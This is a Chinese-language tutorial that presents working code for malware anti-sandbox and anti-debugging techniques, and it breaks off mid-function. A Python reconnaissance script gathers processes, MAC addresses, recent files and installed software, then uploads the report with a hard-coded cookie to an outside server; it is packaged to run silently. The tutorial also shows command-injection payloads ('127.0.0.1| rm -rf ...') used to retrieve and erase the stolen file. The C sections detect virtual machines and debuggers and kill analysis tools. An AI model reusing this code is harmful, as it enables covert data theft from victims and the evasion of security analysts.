前言:
此为会员站用户kill3r分享,本文以代码+注释形式给大家介绍了反沙箱相关的内容。
原文链接:https://vip.bdziyi.com/54143/
获取沙箱环境
检查CPU是否支持虚拟化
def check_cpu_virtualization():
try:
# 创建WMI对象,用于访问系统的管理信息
# https://medium.com/@marcovit87/pywin32-and-wmi-windows-mangement-instrumentation-navigating-windows-os-with-python-4a73bfcce59a
c = wmi.WMI()
# 初始化虚拟化信息和处理器名称的变量
virtualization_info = "未能检索虚拟化信息"
processor_name = "未知处理器"
# 遍历系统中的所有处理器,通过WMI访问Win32_Processor类
for processor in c.Win32_Processor():
# 获取处理器的名称
processor_name = processor.Name
# 检查处理器是否具有VirtualizationFirmwareEnabled属性
if hasattr(processor, "VirtualizationFirmwareEnabled"):
# 如果有该属性,则处理器支持虚拟化,获取其值
virtualization_info = f"支持虚拟化: {processor.VirtualizationFirmwareEnabled}"
else:
# 如果没有该属性,则处理器不支持虚拟化
virtualization_info = "处理器不支持虚拟化"
# 返回处理器名称和虚拟化信息的组合字符串
return f"处理器: {processor_name}\n{virtualization_info}\n"
except Exception as e:
# 如果在处理过程中发生异常,捕获并返回错误信息
return f"Error checking CPU virtualization: {e}\n"
获取系统语言
def check_language():
try:
# 调用 Windows API 函数 GetUserDefaultUILanguage 以获取当前用户的默认UI语言ID
# 使用 ctypes.windll 来访问 kernel32.dll 并调用其导出函数
lang_id = ctypes.windll.kernel32.GetUserDefaultUILanguage()
# 格式化返回的语言ID为十六进制字符串,并返回结果
# 格式化字符串 '#04x' 将整数转换为四位的十六进制格式,前面带有 "0x"
# https://winprotocoldocs-bhdugrdyduf5h2e4.b02.azurefd.net/MS-LCID/%5bMS-LCID%5d.pdf
return f"语言ID: {lang_id:#04x}\n"
except Exception as e:
# 如果在获取语言ID的过程中出现异常,捕获异常并返回错误信息
return f"Error checking language: {e}\n"
获取进程信息
def get_process_count():
process_list = "\n=== 进程列表 ===\n"
try:
# 创建一个 WMI 客户端对象,用于访问系统的管理信息
# 通过 win32com.client 的 GetObject 方法连接到 WMI 服务
wmi_client = win32com.client.GetObject("winmgmts:")
# 通过调用 InstancesOf 方法获取当前系统中所有运行的进程实例
# "Win32_Process" 是一个 WMI 类,表示系统中的进程
process_instances = wmi_client.InstancesOf("Win32_Process")
# 计算当前运行的进程的数量
process_list += f"进程数量:{len(process_instances)}\n"
for process in process_instances:
process_list += f"进程名称: {process.Name}, PID: {process.ProcessId}\n"
# 返回进程数量的信息字符串
return process_list
except Exception as e:
# 如果在获取进程数量的过程中出现异常,捕获异常并返回错误信息
return f"Error checking process count: {e}\n"
获取CPU信息
def get_cpu_info():
try:
# 使用 win32com.client 来访问 Windows WMI 服务
# 获取一个 WMI 客户端对象,这样可以通过 WMI 查询获取系统信息
wmi_client = win32com.client.GetObject("winmgmts:")
# 使用 WMI 查询 "Win32_Processor" 类来获取处理器信息
# 通过生成器表达式计算查询结果中的处理器数量
cpu_count = sum(1 for _ in wmi_client.ExecQuery("Select * from Win32_Processor"))
# 使用 psutil 库获取物理核心数和逻辑处理器数
# 返回一个格式化字符串,包含CPU数量、物理核心数和逻辑处理器数
return (
f"CPU数量: {cpu_count}\n" # 从 WMI 获取的CPU数量
f"CPU物理核心: {psutil.cpu_count(logical=False)}\n" # 物理核心数,不包括超线程逻辑核心
f"CPU逻辑数量: {psutil.cpu_count()}\n" # 总逻辑处理器数,包括超线程
)
except Exception as e:
# 如果在任何一步发生异常,捕获异常并返回包含错误信息的字符串
return f"Error checking CPU count: {e}\n"
获取开机时间
def check_start_time():
try:
# 使用 psutil 模块的 boot_time() 函数获取系统的启动时间
# boot_time() 返回的是自 Unix 纪元以来的秒数,表示系统启动的时间
uptime = psutil.boot_time()
# 使用 time 模块的 time() 函数获取当前的时间
# time() 返回的是当前时间自 Unix 纪元以来的秒数
current_time = time.time()
# 计算系统的运行时间(以分钟为单位)
# 当前时间减去启动时间获取系统的运行时间(秒),再除以60转换为分钟
# 使用格式化字符串将时间格式化为保留两位小数的浮点数
return f"开机时间: {(current_time - uptime) / 60:.2f}分钟\n"
except Exception as e:
# 如果在计算开机时间的过程中出现异常,捕获异常并返回错误信息
return f"Error checking start time: {e}\n"
获取虚拟环境DLLS
def check_sandbox_dlls():
# 要检查的文件路径列表,这些路径通常与虚拟机或沙箱软件相关
# 如果这些文件存在,可能表明该系统运行在虚拟机或沙箱环境中
file_paths = [
r"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe",
r"C:\Program Files\Common Files\VMware\Drivers\mouse\Win8\vmmousever.dll",
r"C:\windows\System32\Drivers\Vmmouse.sys",
r"C:\windows\System32\Drivers\vmtray.dll",
r"C:\windows\System32\Drivers\VMToolsHook.dll",
r"C:\windows\System32\Drivers\vmmousever.dll",
r"C:\windows\System32\Drivers\vmhgfs.dll",
r"C:\windows\System32\Drivers\vmGuestLib.dll",
r"C:\windows\System32\Drivers\VBoxMouse.sys",
r"C:\windows\System32\Drivers\VBoxGuest.sys",
r"C:\windows\System32\Drivers\VBoxSF.sys",
r"C:\windows\System32\Drivers\VBoxVideo.sys",
r"C:\windows\System32\vboxdisp.dll",
r"C:\windows\System32\vboxhook.dll",
r"C:\windows\System32\vboxoglerrorspu.dll",
r"C:\windows\System32\vboxoglpassthroughspu.dll",
r"C:\windows\System32\vboxservice.exe",
r"C:\windows\System32\vboxtray.exe",
r"C:\windows\System32\VBoxControl.exe"
]
# 初始化一个字符串,用于存储检查结果,并包含一个标题行
existing_files = "=== 沙箱相关 === \n"
# 遍历每个文件路径,检查该路径所指的文件是否存在
for file_path in file_paths:
# 使用 os.path.exists() 检查文件是否存在
if os.path.exists(file_path):
# 如果文件存在,将文件路径加入结果字符串
existing_files += f"{file_path}\n"
else:
# 如果文件不存在,记录文件未找到的信息
existing_files += f"File not found: {file_path}\n"
# 返回包含所有检查结果的字符串
return existing_files
获取当前用户
def get_user():
try:
# 尝试获取当前登录用户的用户名
# os.getlogin() 返回当前在控制台上登录的用户的用户名
return f"当前用户: {os.getlogin()}\n"
except Exception as e:
# 如果在获取用户名的过程中出现异常,捕获异常并返回错误信息
return f"Error checking admin user: {e}\n"
获取硬盘信息
def get_disk_info():
# 初始化一个包含标题的字符串,用于存储所有磁盘信息
disk_info = "\n=== 硬盘信息 ===\n"
try:
# 使用 psutil.disk_partitions() 获取系统中所有分区的信息
# https://liaoxuefeng.com/books/python/third-party-modules/psutil/
partitions = psutil.disk_partitions()
# 遍历每个分区,获取详细信息
for partition in partitions:
# 获取分区的使用情况
try:
usage = psutil.disk_usage(partition.mountpoint) # 获取分区的使用情况
total_size_gb = usage.total / (1024 ** 3) # 将字节转换为GB
# 将获取到的分区信息格式化并添加到 disk_info 字符串中
disk_info += (
f"盘符: {partition.device}\n" # 分区设备名
f"挂载点: {partition.mountpoint}\n" # 挂载点
f"文件系统类型: {partition.fstype}\n" # 文件系统类型
f"总大小: {total_size_gb:.2f} GB\n\n" # 总大小,以GB为单位,保留两位小数
)
except PermissionError:
# 如果访问某个分区的使用情况时权限不足,捕获异常并记录相关信息
disk_info += (
f"盘符: {partition.device}\n" # 分区设备名
"挂载点: Access Denied\n" # 无法访问挂载点
"文件系统类型: Unknown\n" # 无法获取文件系统类型
"总大小: Unknown\n\n" # 无法获取总大小
)
except Exception as e:
# 如果在获取分区信息的过程中出现异常,捕获异常并返回错误信息
return f"Error retrieving disk information: {e}\n"
# 返回包含所有分区信息的字符串
return disk_info
获取MAC信息
def get_all_mac_addresses():
# 初始化一个字符串,用于存储所有接口的MAC地址信息
mac_addresses = "=== 所有接口的MAC地址 ===\n"
try:
# 使用 win32com.client 来访问 Windows WMI 服务
# 获取一个 WMI 客户端对象,可以通过WMI查询获取系统信息
wmi_client = win32com.client.GetObject("winmgmts:")
# 使用 WMI 查询 "Win32_NetworkAdapter" 类来获取所有网络适配器的信息
for nic in wmi_client.InstancesOf("Win32_NetworkAdapter"):
# 检查网络适配器是否有MAC地址和网络连接ID
if nic.MACAddress and nic.NetConnectionID:
# 如果MAC地址和连接ID存在,将其格式化并添加到 mac_addresses 字符串中
mac_addresses += (
f"接口名称: {nic.NetConnectionID}, " # 网络接口的连接名称
f"MAC地址: {nic.MACAddress}\n" # MAC地址
)
except Exception as e:
# 如果在任何步骤中发生异常,捕获异常并返回包含错误信息的字符串
return f"Error retrieving MAC addresses: {e}\n"
# 返回包含所有获取的MAC地址信息的字符串
return mac_addresses
获取USB设备
def get_usb_devices():
# 初始化一个字符串,用于存储所有USB设备的信息
usb_devices = "\n === USB设备信息 ===\n"
try:
# 使用 win32com.client 来访问 Windows WMI 服务
# 获取一个 WMI 客户端对象,可以通过WMI查询获取系统信息
wmi_client = win32com.client.GetObject("winmgmts:")
# 使用 WMI 查询 "Win32_PnPEntity" 类来获取所有即插即用设备的信息
for device in wmi_client.InstancesOf("Win32_PnPEntity"):
# 检查设备是否有名称,并且名称或描述中包含 "USB"
if device.Name and ("USB" in device.Name or "USB" in device.Description):
# 如果设备名称或描述中包含 "USB",则认为是USB设备
# 将设备的相关信息格式化并添加到 usb_devices 字符串中
usb_devices += (
f"设备名称: {device.Name}\n" # 设备的名称
f"设备ID: {device.DeviceID if device.DeviceID else 'N/A'}\n" # 设备ID,如果不存在则显示 'N/A'
f"PNP设备ID: {device.PNPDeviceID if device.PNPDeviceID else 'N/A'}\n" # PNP设备ID,如果不存在则显示 'N/A'
f"描述: {device.Description if device.Description else 'N/A'}\n\n" # 设备描述,如果不存在则显示 'N/A'
)
except Exception as e:
# 如果在获取设备信息的过程中发生异常,捕获异常并将错误信息添加到 usb_devices 字符串中
usb_devices += f"Error retrieving USB device information: {e}\n"
# 返回包含所有USB设备信息的字符串
return usb_devices
获取历史文件
def get_recent_files():
# 初始化一个字符串,用于存储所有最近访问文件的信息
get_recent_files_list = "=== Recent文件 ===\n"
try:
# 使用 win32com.client 访问 Windows Shell API
# Dispatch 创建一个 Shell.Application 对象,用于与 Windows Shell 进行交互
shell = win32com.client.Dispatch("Shell.Application")
# 获取指定的命名空间,此处 0x08 对应于 Windows 的 'Recent' 文件夹
namespace = shell.NameSpace(0x08) # 0x08 是系统中“最近使用的文件”文件夹的命名空间标识符
# 如果无法获取 'Recent' 文件夹的命名空间,返回错误信息
if namespace is None:
return "无法获取 'Recent' 文件夹的命名空间\n"
# 获取 'Recent' 文件夹中的所有项目
items = namespace.Items()
# 将文件夹中的文件数量添加到结果字符串中
get_recent_files_list += f"Recent 文件夹中的文件数量: {items.Count}\n"
# 遍历每个项目,将其名称添加到结果字符串中
for item in items:
get_recent_files_list += f"{item.Name}\n" # 文件名称
# 返回包含所有最近访问文件的信息的字符串
return get_recent_files_list
except Exception as e:
# 如果在访问 'Recent' 文件夹的过程中发生异常,捕获异常并返回包含错误信息的字符串
return f"无法访问 'Recent' 文件夹: {e}\n"
Systeminfo
def get_system_info():
try:
# 初始化一个字符串,用于存储系统信息
system_info = "\n=== 系统信息 ===\n"
# 使用 subprocess 模块执行命令行命令
# 调用 `systeminfo` 命令以获取系统的详细信息
# check_output 函数执行命令并返回其输出,参数解释:
# - "systeminfo":要执行的命令
# - shell=True:在命令行的shell中执行命令
# - text=True:将输出解码为文本字符串(相当于设置 `universal_newlines=True`)
output = subprocess.check_output("systeminfo", shell=True, text=True)
# 将获取的系统信息输出添加到 system_info 字符串中
system_info += output
# 返回包含所有系统信息的字符串
return system_info
except subprocess.CalledProcessError as e:
# 如果在执行命令时发生错误,捕获 CalledProcessError 异常
# 返回包含错误信息的字符串,指示获取系统信息失败
return f"获取系统信息失败: {e}\n"
获取已安装软件
def get_installed_software():
try:
# 初始化一个字符串,用于存储已安装软件的信息
installed_software = "\n=== 已安装软件 ===\n"
# 使用 subprocess 模块执行命令行命令
# 调用 `wmic product list brief` 命令以获取已安装的软件列表的简要信息
# check_output 函数执行命令并返回其输出,参数解释:
# - "wmic product list brief":要执行的命令,用于列出已安装软件的简要信息
# - shell=True:在命令行的shell中执行命令
# - text=True:将输出解码为文本字符串(在 Python 3.7 及以上版本中,text=True 等效于 universal_newlines=True)
output = subprocess.check_output("wmic product list brief", shell=True, text=True)
# 将获取的已安装软件信息输出添加到 installed_software 字符串中
installed_software += output
# 返回包含所有已安装软件信息的字符串
return installed_software
except subprocess.CalledProcessError as e:
# 如果在执行命令时发生错误,捕获 CalledProcessError 异常
# 返回包含错误信息的字符串,指示获取已安装软件失败
return f"获取已安装软件失败: {e}\n"
上传
def upload_file(url, cookie, info):
# 构造HTTP请求的头部信息
headers = {
'Referer': url, # 'Referer'头部,通常用于标识请求来源页面
'Cookie': cookie # 'Cookie'头部,用于在请求中附带会话或状态信息
}
# 构造表单数据项
data = {
'MAX_FILE_SIZE': '100000', # 表单中指定的文件大小限制,单位为字节(这里为100KB)
'Upload': 'Upload' # 表单中可能的一个字段,表示上传操作
}
# 构造要上传的文件信息
files = {
'uploaded': ( # 表单中对应文件上传字段的名称
f'{os.getlogin()}---info.txt', # 上传文件的名称,使用当前登录用户名拼接固定字符串
info, # 文件的内容,通过info参数传入
'text/plain' # 文件的MIME类型,这里指定为纯文本
)
}
# 使用 requests 库发送HTTP POST请求
requests.post(
url, # 目标URL
headers=headers, # 请求头部信息
data=data, # 表单数据项
files=files # 要上传的文件信息
)
Main
def main():
report = (
"=== 系统综合信息报告 ===\n"
+ check_cpu_virtualization() + check_language()
+ get_cpu_info() + get_user()
+ get_process_count() + check_start_time()
+ check_sandbox_dlls() + get_disk_info()
+ get_all_mac_addresses() + get_usb_devices()
+ get_recent_files() + get_current_directory_and_app_name()
+ get_system_info() + get_installed_software()
)
return report
if __name__ == "__main__":
# 打包流程:
# 1. python -m venv venv
# 2. venv\Scripts\activate
# 3. pip install -r requirements.txt
# 4. pyinstaller --onefile --noconsole --clean --strip box.py
# 信息下载
# 1. dvwa: host/vulnerabilities/exec/#
# 2. 127.0.0.1| ls ../../hackable/uploads/
# 3. 访问: http://{host}/hackable/uploads/{user}---info.txt
# 4. 删除 127.0.0.1| rm -rf ../../hackable/uploads/{user}---info.txt
# 5. 再次确认是否删除 127.0.0.1| ls ../../hackable/uploads/
upload_file('http://***.***.***.***/vulnerabilities/upload/',
'PHPSESSID=0c64j18co158fig75btom3icr3; security=low', main())
反调试
反虚拟化是指检测恶意软件是否运行在虚拟机/沙盒上而不是物理机器上,这可以通过多种方式完成:
检查屏幕分辨率:如果你在一个自动沙盒上,一些简单的指标,如屏幕分辨率可能会让你放弃。 检查I/O设备(鼠标,键盘等):自动沙盒不会有I/O设备,因为它们不用于日常机器或虚拟机,它们仅用于分析恶意软件。 检查正在运行的进程或系统上的文件:简单地枚举机器上当前正在运行的进程将给你提示,如果它是一个只运行默认进程的沙箱,或者是一个具有许多基本使用应用程序的实际机器。 使用GetTickCount()用于确定PE是否正在调试,通过确定运行二进制文件所需的时间并在执行过程中重新检查它.您可以查看是否有断点延迟执行:添加两个任意 GetTickCount()
函数,存储T并硬编码.T是您的程序从第一个函数调用到第二个函数调用的时间,假设为50秒。然后,您可以在目标机器上执行恶意软件时添加检查,如果T超过50秒,这意味着有人可能正在调试您的exe。(您可能会为不同处理器之间的性能差异添加误差幅度)
Cpuid
__Cpuid():这是一个函数,如果检测到Hypervisor供应商,它将为我们提供有关Hypervisor供应商的信息
#include <intrin.h>
void getCpuInfo() {
// cpuInfo数组现在包含CPU的基本信息
// cpuInfo[0] - EAX寄存器内容
// cpuInfo[1] - EBX寄存器内容
// cpuInfo[2] - ECX寄存器内容
// cpuInfo[3] - EDX寄存器内容
int cpuInfo[4]; // 用于存储CPUID指令的返回值
__cpuid(cpuInfo, 0); // 执行CPUID指令并获取信息
}
参数1是一个整型数组,通常有四个元素,用于存储从EAX、EBX、ECX和EDX寄存器返回的值。 参数2是一个整数,用于指定要查询的 CPUID 信息的功能参数(即功能号) 0: 返回最大支持的功能号,以及厂商ID字符串。 1: 返回处理器的版本信息、特征标志等。
BOOL CheckCpuid1() {
// 用于存储CPUID指令返回的信息
int cpuinfo[4];
// 调用CPUID指令,使用功能号1,获取处理器信息
__cpuid(cpuinfo, 1);
// 检查ECX寄存器的第31位是否被设置
int bit = (cpuinfo[2] >> 31 & 1);
if (bit) // 如果第31位被设置
{
printf("[+] cpuid 第 31 bit 被设置为 1,检测到虚拟处理器\n");
return TRUE;
}
// CPUID.01h.ECX:31
}
如果我们将leef从0x1更改为0x40000000,我们将获得供应商信息。
void CheckCpuid2() {
int cpuinfo[4]; // 用于存储CPUID指令返回的信息
__cpuid(cpuinfo, 0x40000000); // 调用CPUID指令,使用功能号0x40000000,获取虚拟化厂商的签名
// 超级管理程序厂商签名存储在cpuinfo的1、2、3号索引中
char vendor[13]; // 用于存储厂商字符串
memcpy(vendor, &cpuinfo[1], 4); // 复制信息到vendor
memcpy(vendor + 4, &cpuinfo[2], 4);
memcpy(vendor + 8, &cpuinfo[3], 4);
vendor[12] = '\0'; // 设置字符串结束符
printf("\t虚拟机管理程序供应商: %s\n", vendor); // 打印虚拟化厂商签名
}
最终函数
#include <stdio.h>
#include <intrin.h> // 用于使用 __cpuid
#include <Windows.h>
BOOL CheckCpuid() {
int cpuinfo[4]; // 用于存储CPUID指令返回的信息
// 第一次调用 CPUID 指令,使用功能号 1,获取处理器信息
__cpuid(cpuinfo, 1);
// 检查 ECX 寄存器的第 31 位是否被设置
int bit = (cpuinfo[2] >> 31) & 1;
if (bit) { // 如果第 31 位被设置
printf("[+] cpuid 第 31 bit 被设置为 1, 检测到虚拟处理器\n");
// 第二次调用 CPUID 指令,使用功能号 0x40000000,获取虚拟化厂商的签名
__cpuid(cpuinfo, 0x40000000);
// 超级管理程序厂商签名存储在 cpuinfo 的 1、2、3 号索引中
char vendor[13]; // 用于存储厂商字符串
memcpy(vendor, &cpuinfo[1], 4); // 复制信息到 vendor
memcpy(vendor + 4, &cpuinfo[2], 4);
memcpy(vendor + 8, &cpuinfo[3], 4);
vendor[12] = '\0'; // 设置字符串结束符
printf("虚拟机管理程序供应商: %s\n", vendor); // 打印虚拟化厂商签名
return TRUE;
}
// 如果没有检测到虚拟处理器,返回 FALSE
printf("[-] 未检测到虚拟处理器\n");
return FALSE;
}
int main() {
CheckCpuid();
return 0;
}
注册表
HyperV : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters
在hostname和Physical Hostname中,您可以找到物理主机名和主机的域名。
VirtualBox:对于 VirtualBox
,只有在使用VirtualBox
的客户机上才能找到注册表项HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
VMware:HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools
#include <iostream>
#include <Windows.h>
BOOL CheckHypervisor() {
HKEY hkey; // 用于存储打开注册表项的句柄
LONG Result; // 用于存储注册表操作的返回值
BYTE data[256], data2[256]; // 用于存储从注册表中查询的值
DWORD dataSize = sizeof(data); // 存储数据大小,用于查询注册表值时用
DWORD dwType = REG_SZ; // 指定注册表值的数据类型(字符串类型)
// 检查是否在 Hyper-V 中运行
Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
if (Result == ERROR_SUCCESS) {
// 如果能够成功打开注册表项,表示在 Hyper-V 中运行
printf("[+] 当前运行在 Hyper-V 虚拟机中\n");
// 查询虚拟机名称
Result = RegQueryValueExA(hkey, "VirtualMachineName", NULL, NULL, data, &dataSize);
printf("[+] 虚拟机名称: %s\n", (unsigned char*)data);
// 查询主机名
Result = RegQueryValueExA(hkey, "HostName", NULL, NULL, data2, &dataSize);
printf("[+] 主机名: %s\n", (unsigned char*)data2);
// 查询物理宿主机的完全限定名称
Result = RegGetValueA(hkey, NULL, "PhysicalHostNameFullyQualified", RRF_RT_REG_SZ, &dwType, data2, &dataSize);
printf("[+] 物理宿主机名字: %s\n", (unsigned char*)data2);
// 关闭注册表项句柄
RegCloseKey(hkey);
// 返回 TRUE 表示检测到虚拟化软件
return TRUE;
}
// 检查是否在 VirtualBox 中运行
Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
if (Result == ERROR_SUCCESS) {
// 如果能够成功打开注册表项,表示在 VirtualBox 中运行
printf("[+] 当前运行在 VirtualBox 虚拟机中\n");
RegCloseKey(hkey);
return TRUE;
}
RegCloseKey(hkey);
// 检查是否在 VMware 中运行
Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
if (Result == ERROR_SUCCESS) {
// 如果能够成功打开注册表项,表示在 VMware 中运行
printf("[+] 当前运行在 VMware 虚拟机中\n");
RegCloseKey(hkey);
return TRUE;
}
RegCloseKey(hkey);
return FALSE; // 如果没有检测到任何虚拟化软件,返回 FALSE
}
int main()
{
CheckHypervisor();
}
RegOpenKeyExA:
RegOpenKeyExA
是 Windows API 中的一个函数,用于打开一个注册表项并获得一个句柄,打开的注册表项可以用来查询或设置值。
HKEY hKey
: 要打开的注册表项的根键。LPCSTR lpSubKey
: 要打开的子项的名称。DWORD ulOptions
: 保留,通常为 0。REGSAM samDesired
: 指定所需的访问权限。PHKEY phkResult
: 指向接收打开的注册表项句柄的变量的指针。
RegCloseKey:
RegCloseKey
用于关闭打开的注册表项句柄。
HKEY hKey
: 要关闭的注册表项的句柄。
RegQueryValueExA:
RegQueryValueExA
用于检索指定注册表项中的某个值。
HKEY hKey
: 包含要检索的值的注册表项的句柄。LPCSTR lpValueName
: 要检索的值的名称。LPDWORD lpReserved
: 保留,必须为 NULL。LPDWORD lpType
: 指向接收值类型的变量的指针。LPBYTE lpData
: 指向接收数据的缓冲区的指针。LPDWORD lpcbData
: 指向接收数据大小的变量的指针。
RegGetValueA:
RegGetValueA
从注册表中检索值。与 RegQueryValueExA
不同,它可以获取嵌套的子项值。
HKEY hKey
: 包含要检索值的注册表项的句柄。LPCSTR lpSubKey
: 要打开的子项的名称。LPCSTR lpValue
: 要检索的值的名称。DWORD dwFlags
: 指定如何检索信息。LPDWORD pdwType
: 指向接收值类型的变量的指针。PVOID pvData
: 指向接收数据的缓冲区的指针。LPDWORD pcbData
: 指向接收数据大小的变量的指针。
反调试
反调试是阻止恶意软件分析师调试/逆向我们的恶意软件的行为.
反调试技术,即BeingDebugged
,但在讨论这个技术之前,需要先了解一下PEB
(Process Environment Block
:进程环境块).
PEB(Process Environment Block)
:
PEB是Windows操作系统中的一个数据结构,用于存储关于当前进程状态和环境的信息。每个进程在其自身的地址空间中有一个PEB PEB包含的信息包括: 进程加载的模块(DLL) 进程参数(例如命令行参数) 环境变量 进程的运行时数据 以及其他关于进程的元数据
typedef struct _PEB {
BYTE Reserved1[2]; // 保留字段,用于对齐或未来使用
BYTE BeingDebugged; // 表示进程是否被调试器调试,0为否,非0为是
BYTE Reserved2[1]; // 保留字段,用于对齐或未来使用
PVOID Reserved3[2]; // 保留字段,通常用于指向内部结构或未来扩展
PPEB_LDR_DATA Ldr; // 指向加载器数据的指针,包含该进程中加载的模块信息
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 指向进程参数的指针,包含命令行参数、环境变量等
PVOID Reserved4[3]; // 保留字段
PVOID AtlThunkSListPtr; // 指向线程本地存储的Thunk列表指针
PVOID Reserved5; // 保留字段
ULONG Reserved6; // 保留字段
PVOID Reserved7; // 保留字段
ULONG Reserved8; // 保留字段
ULONG AtlThunkSListPtr32; // 32位进程的线程本地存储Thunk列表指针
PVOID Reserved9[45]; // 大量保留字段
BYTE Reserved10[96]; // 保留字节,用于对齐或未来使用
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; // 进程初始化后的回调例程
BYTE Reserved11[128]; // 保留字节
PVOID Reserved12[1]; // 保留字段
ULONG SessionId; // 当前会话的ID,用于区分不同的用户会话
} PEB, *PPEB;
BeingDebugged
#include <stdio.h> // 标准输入输出库,提供输入输出函数,如 printf 和 scanf
#include <Windows.h> // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制
// 仅在需要时定义简化版的PEB结构体
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; // 检查此标志来确定是否在被调试
BYTE Reserved2[1];
// ... 其他成员
} PEB, * PPEB;
// 检查当前进程是否在被调试
BOOL IsDebuggerPresent2() {
#ifdef _WIN64
// 对于64位程序,从GS段寄存器读取PEB地址
PPEB pPeb = (PEB*)(__readgsqword(0x60)); // Process Environment Block
#elif _WIN32
// 对于32位程序,从FS段寄存器读取PEB地址
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
if (pPeb->BeingDebugged == 1) { // 如果BeingDebugged标志被设置
return TRUE; // 返回TRUE,表示正在被调试
}
return FALSE; // 返回FALSE,表示没有被调试
}
int main()
{
if (IsDebuggerPresent2()) {
printf("[+] 正在被调试!\n");
}
else
{
printf("[-] 没有被调试.\n");
}
}
DebugBreak
DebugBreak()
:debugbreak
是我们的第二个反调试技术,其中DebugBreak()
函数会导致在当前进程中引发断点异常。这允许调用线程用信号通知调试器处理异常。因此,我们依赖于GetExceptionCode()
函数的返回,它将告诉我们异常是否由调试器处理.
#include <stdio.h> // 标准输入输出库,提供输入输出函数,如 printf 和 scanf
#include <Windows.h> // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制
// 自定义反调试函数
BOOL CheckDebuggerPresence() {
__try {
DebugBreak(); // 触发调试中断异常,这通常会中断到调试器中,如果有调试器附加
return TRUE; // 如果代码执行到这里,说明异常被调试器处理了,返回TRUE表示正在被调试
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
// 检查异常代码是否是 EXCEPTION_BREAKPOINT。如果是,执行异常处理程序。
// EXCEPTION_BREAKPOINT 是一个常量,表示断点异常,通过调试器捕获。
printf("[-] 未被调试器处理\n"); // 如果异常未被调试器处理,则打印信息并表示没有调试器附加
return FALSE; // 返回FALSE表示没有调试器在附加
}
}
int main() {
CheckDebuggerPresence(); // 调用自定义反调试函数,检查当前进程是否被调试
}
ContextLogRegisters
#include <stdio.h> // 标准输入输出库,提供输入输出函数,如 printf 和 scanf。
#include <Windows.h> // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制。
// 检查当前线程是否被调试
BOOL IsThreadBeingDebugged() {
CONTEXT Ctx; // 定义一个 CONTEXT 结构体变量,用于保存线程的上下文信息。
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; // 设置 CONTEXT 标志,只获取调试寄存器的信息。
// 获取当前线程的上下文信息,包括调试寄存器
if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
// 如果获取失败,打印错误消息并显示错误代码(使用 GetLastError() 获取)
printf("\t\n [!] 获取线程上下文失败,错误代码:0x%lu \n", GetLastError());
return FALSE; // 返回 FALSE,表示操作失败或没有调试器附加。
}
// 检查调试寄存器 Dr0, Dr1, Dr2, Dr3 是否被设置
if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL) {
// 如果有任意一个寄存器不为空,说明有硬件断点被设置
printf("[+] 已在以下地址设置硬件断点:\n\t Dr0 地址:0x%llx \n\t Dr1 地址:0x%llx \n\t Dr2 地址:0x%llx \n\t Dr3 地址:0x%llx\n", Ctx.Dr0, Ctx.Dr1, Ctx.Dr2, Ctx.Dr3);
printf("[+] 当前线程正在被调试\n"); // 打印信息,表示线程正在被调试。
return TRUE; // 返回 TRUE,表示当前线程正在被调试。
}
else {
// 否则,表示没有调试器附加或没有设置硬件断点
printf("[-] 没有设置硬件断点\n"); // 打印信息,表示没有硬件断点。
return FALSE; // 返回 FALSE,表示没有调试器附加。
}
}
int main() {
IsThreadBeingDebugged(); // 调用函数以检查当前线程是否被调试。
}
终止分析工具
#include <stdio.h> // 标准输入输出库,提供输入输出函数,如 printf 和 scanf。
#include <Windows.h> // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制。
#include <tlhelp32.h> // 提供工具帮助函数,允许对系统快照进行操作,如进程和线程枚举。
// 检测并终止特定名称的进程
BOOL TerminateDebuggingProcess(WCHAR* procname) {
BOOL processTerminated = FALSE; // 初始化标志,用于跟踪是否成功终止了任何进程。
// 创建一个进程快照,用于枚举当前系统中的所有进程。
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] 创建进程快照错误: %lu\n", GetLastError()); // 输出错误信息。
return TRUE; // 返回 TRUE 表示未能成功创建快照。
}
PROCESSENTRY32 pe; // 定义 PROCESSENTRY32 结构来存储进程信息。
pe.dwSize = sizeof(PROCESSENTRY32); // 设置结构大小。
BOOL res = Process32First(hSnapshot, &pe); // 获取第一个进程的信息。
while (res) { // 遍历所有进程。
if (!wcscmp(pe.szExeFile, procname)) { // 比较进程名称。
printf("[+] 找到进程 %ls 正在运行,PID: %u\n", procname, pe.th32ProcessID); // 输出找到的进程信息。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); // 尝试打开进程。
if (hProcess) {
if (TerminateProcess(hProcess, 0)) { // 尝试终止进程。
printf("\t[+] 成功终止进程 %ls\n", procname); // 输出成功信息。
processTerminated = TRUE; // 更新标志为 TRUE。
}
else {
printf("[!] 终止进程 %ls 失败: %lu\n", procname, GetLastError()); // 输出失败信息。
}
CloseHandle(hProcess); // 关闭进程句柄。
}
else {
